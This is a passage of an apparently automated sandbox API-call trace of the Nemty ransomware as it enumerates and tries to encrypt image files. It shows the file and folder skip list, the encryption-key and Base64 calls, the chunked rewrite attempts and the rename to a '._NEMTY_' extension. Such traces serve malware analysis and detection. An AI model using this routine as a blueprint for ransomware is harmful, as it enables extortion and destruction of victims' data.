out: hHeap=0x4f90000) returned 1 [0141.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0141.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0141.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0141.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0141.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0141.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0141.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0141.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0141.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0141.827] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84bf0f14, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84bf0f14, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bcc0b35, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd5d, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="shuffle_up.png", cAlternateFileName="")) returned 1 [0141.827] lstrcmpiW (lpString1="shuffle_up.png", lpString2=".") returned 1 [0141.827] lstrcmpiW (lpString1="shuffle_up.png", lpString2="..") returned 1 [0141.827] lstrcmpiW (lpString1="shuffle_up.png", lpString2="...") returned 1 [0141.827] lstrcmpiW (lpString1="shuffle_up.png", lpString2="windows") returned -1 [0141.827] lstrcmpiW (lpString1="shuffle_up.png", lpString2="$RECYCLE.BIN") returned 1 [0141.827] lstrcmpiW (lpString1="shuffle_up.png", lpString2="rsa") returned 1 [0141.827] lstrcmpiW (lpString1="shuffle_up.png", lpString2="NTDETECT.COM") returned 1 [0141.827] lstrcmpiW (lpString1="shuffle_up.png", lpString2="ntldr") returned 1 [0141.827] lstrcmpiW (lpString1="shuffle_up.png", lpString2="MSDOS.SYS") returned 1 [0141.827] lstrcmpiW (lpString1="shuffle_up.png", lpString2="IO.SYS") returned 1 [0141.827] lstrcmpiW (lpString1="shuffle_up.png", lpString2="boot.ini") returned 1 [0141.828] lstrcmpiW (lpString1="shuffle_up.png", lpString2="boot.ini") returned 1 [0141.828] lstrcmpiW (lpString1="shuffle_up.png", lpString2="AUTOEXEC.BAT") returned 1 [0141.828] lstrcmpiW (lpString1="shuffle_up.png", lpString2="ntuser.dat") returned 1 [0141.828] lstrcmpiW (lpString1="shuffle_up.png", lpString2="desktop.ini") returned 1 [0141.828] lstrcmpiW (lpString1="shuffle_up.png", lpString2="CONFIG.SYS") returned 1 [0141.828] lstrcmpiW (lpString1="shuffle_up.png", lpString2="RECYCLER") returned 1 [0141.828] lstrcmpiW (lpString1="shuffle_up.png", lpString2="BOOTSECT.BAK") returned 1 [0141.828] lstrcmpiW (lpString1="shuffle_up.png", lpString2="bootmgr") returned 1 [0141.828] lstrcmpiW (lpString1="shuffle_up.png", lpString2="programdata") returned 1 [0141.828] lstrcmpiW (lpString1="shuffle_up.png", lpString2="appdata") returned 1 [0141.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0141.828] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shuffle_up.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0141.828] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shuffle_up.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shuffle_up.png", lpUsedDefaultChar=0x0) returned 14 [0141.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0141.828] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shuffle_up.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0141.828] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shuffle_up.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shuffle_up.png", lpUsedDefaultChar=0x0) returned 14 [0141.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0141.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0141.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0141.828] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shuffle_up.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0141.828] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shuffle_up.png", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shuffle_up.png", lpUsedDefaultChar=0x0) returned 14 [0141.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0141.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0141.828] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shuffle_up.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0141.828] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shuffle_up.png", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shuffle_up.png", lpUsedDefaultChar=0x0) returned 14 [0141.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0141.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0141.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0141.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340100 [0141.828] Sleep (dwMilliseconds=0x5) [0141.833] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x82f9a30, dwHighDateTime=0x1d561e8)) [0141.833] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x82f9a30, dwHighDateTime=0x1d561e8)) [0141.833] GetLastError () returned 0x5 [0141.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0141.833] GetLastError () returned 0x5 [0141.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0141.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0141.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0141.833] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0141.833] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0141.833] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0141.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401b8 [0141.833] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401b8, pcchString=0x653e91c | out: pszString="lOysPEDGCLizBL7EkY8xgyPffybfKY/pnQMwK72qQaGk+XTJleWiR8h4Xpw5LfzQ\r\nYQSGNgX/TU7+DVwUdRvVGv3s0emVp+0pDCF8MI1bjclNcyJK5BSyt13uOGFj4Zow\r\nJsCRW2yGpPVS+dMeVlNEkZJqVZuBjmP2kNZ2PvPDIZuoRyu6tc/yJ1ruz76+9XYV\r\nz9Ucj6o7tj9q38HMmpl0XOX4hYSn8XTcvrpg1XiwAU23+G8JEDVbgB4Ko0+xqaKu\r\n22YuI8iujqYxfHubmTJyeqfzIgs/Vkm4+xV0bgSUw1UHH9n+Xhv/PJqtpPdZ+K5A\r\n1D+jwYKy3N+jVRvkKnygYw==\r\n", pcchString=0x653e91c) returned 1 [0141.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0141.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0141.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0141.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0141.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401b8 [0141.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0141.834] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\shuffle_up.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\shuffle_up.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0141.834] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0141.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0141.834] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.834] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.844] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.844] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.844] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.844] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.853] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.853] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.853] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.853] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.864] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.864] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.864] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.864] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.873] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.873] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.873] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.873] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.883] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.883] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.883] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.883] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.892] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.892] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.892] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.892] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.901] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.901] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.901] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.901] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.910] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.910] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.911] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.911] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.920] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.920] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.920] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.920] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.929] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.929] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.929] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.929] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.935] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.935] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.935] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.935] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.941] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.941] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.941] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.941] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401b8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0141.941] CloseHandle (hObject=0xffffffff) returned 0 [0141.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0141.941] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0141.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0141.941] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0141.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0141.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0141.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403e0 [0141.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340498 [0141.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0141.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0141.942] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\shuffle_up.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\shuffle_up.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\shuffle_up.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\shuffle_up.png._nemty_kgobjgd_")) returned 0 [0141.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0141.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0141.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0141.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0141.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0141.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0141.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0141.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0141.942] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a9a2cf, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a9a2cf, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bce6c93, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="tile16.png", cAlternateFileName="")) returned 1 [0141.942] lstrcmpiW (lpString1="tile16.png", lpString2=".") returned 1 [0141.942] lstrcmpiW (lpString1="tile16.png", lpString2="..") returned 1 [0141.942] lstrcmpiW (lpString1="tile16.png", lpString2="...") returned 1 [0141.942] lstrcmpiW (lpString1="tile16.png", lpString2="windows") returned -1 [0141.942] lstrcmpiW (lpString1="tile16.png", lpString2="$RECYCLE.BIN") returned 1 [0141.942] lstrcmpiW (lpString1="tile16.png", lpString2="rsa") returned 1 [0141.942] lstrcmpiW (lpString1="tile16.png", lpString2="NTDETECT.COM") returned 1 [0141.942] lstrcmpiW (lpString1="tile16.png", lpString2="ntldr") returned 1 [0141.942] lstrcmpiW (lpString1="tile16.png", lpString2="MSDOS.SYS") returned 1 [0141.942] lstrcmpiW (lpString1="tile16.png", lpString2="IO.SYS") returned 1 [0141.942] lstrcmpiW (lpString1="tile16.png", lpString2="boot.ini") returned 1 [0141.942] lstrcmpiW (lpString1="tile16.png", lpString2="boot.ini") returned 1 [0141.942] lstrcmpiW (lpString1="tile16.png", lpString2="AUTOEXEC.BAT") returned 1 [0141.942] lstrcmpiW (lpString1="tile16.png", lpString2="ntuser.dat") returned 1 [0141.942] lstrcmpiW (lpString1="tile16.png", lpString2="desktop.ini") returned 1 [0141.942] lstrcmpiW (lpString1="tile16.png", lpString2="CONFIG.SYS") returned 1 [0141.942] lstrcmpiW (lpString1="tile16.png", lpString2="RECYCLER") returned 1 [0141.942] lstrcmpiW (lpString1="tile16.png", lpString2="BOOTSECT.BAK") returned 1 [0141.942] lstrcmpiW (lpString1="tile16.png", lpString2="bootmgr") returned 1 [0141.942] lstrcmpiW (lpString1="tile16.png", lpString2="programdata") returned 1 [0141.942] lstrcmpiW (lpString1="tile16.png", lpString2="appdata") returned 1 [0141.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0141.943] WideCharToMultiByte (in: CodePage=0xfde9, 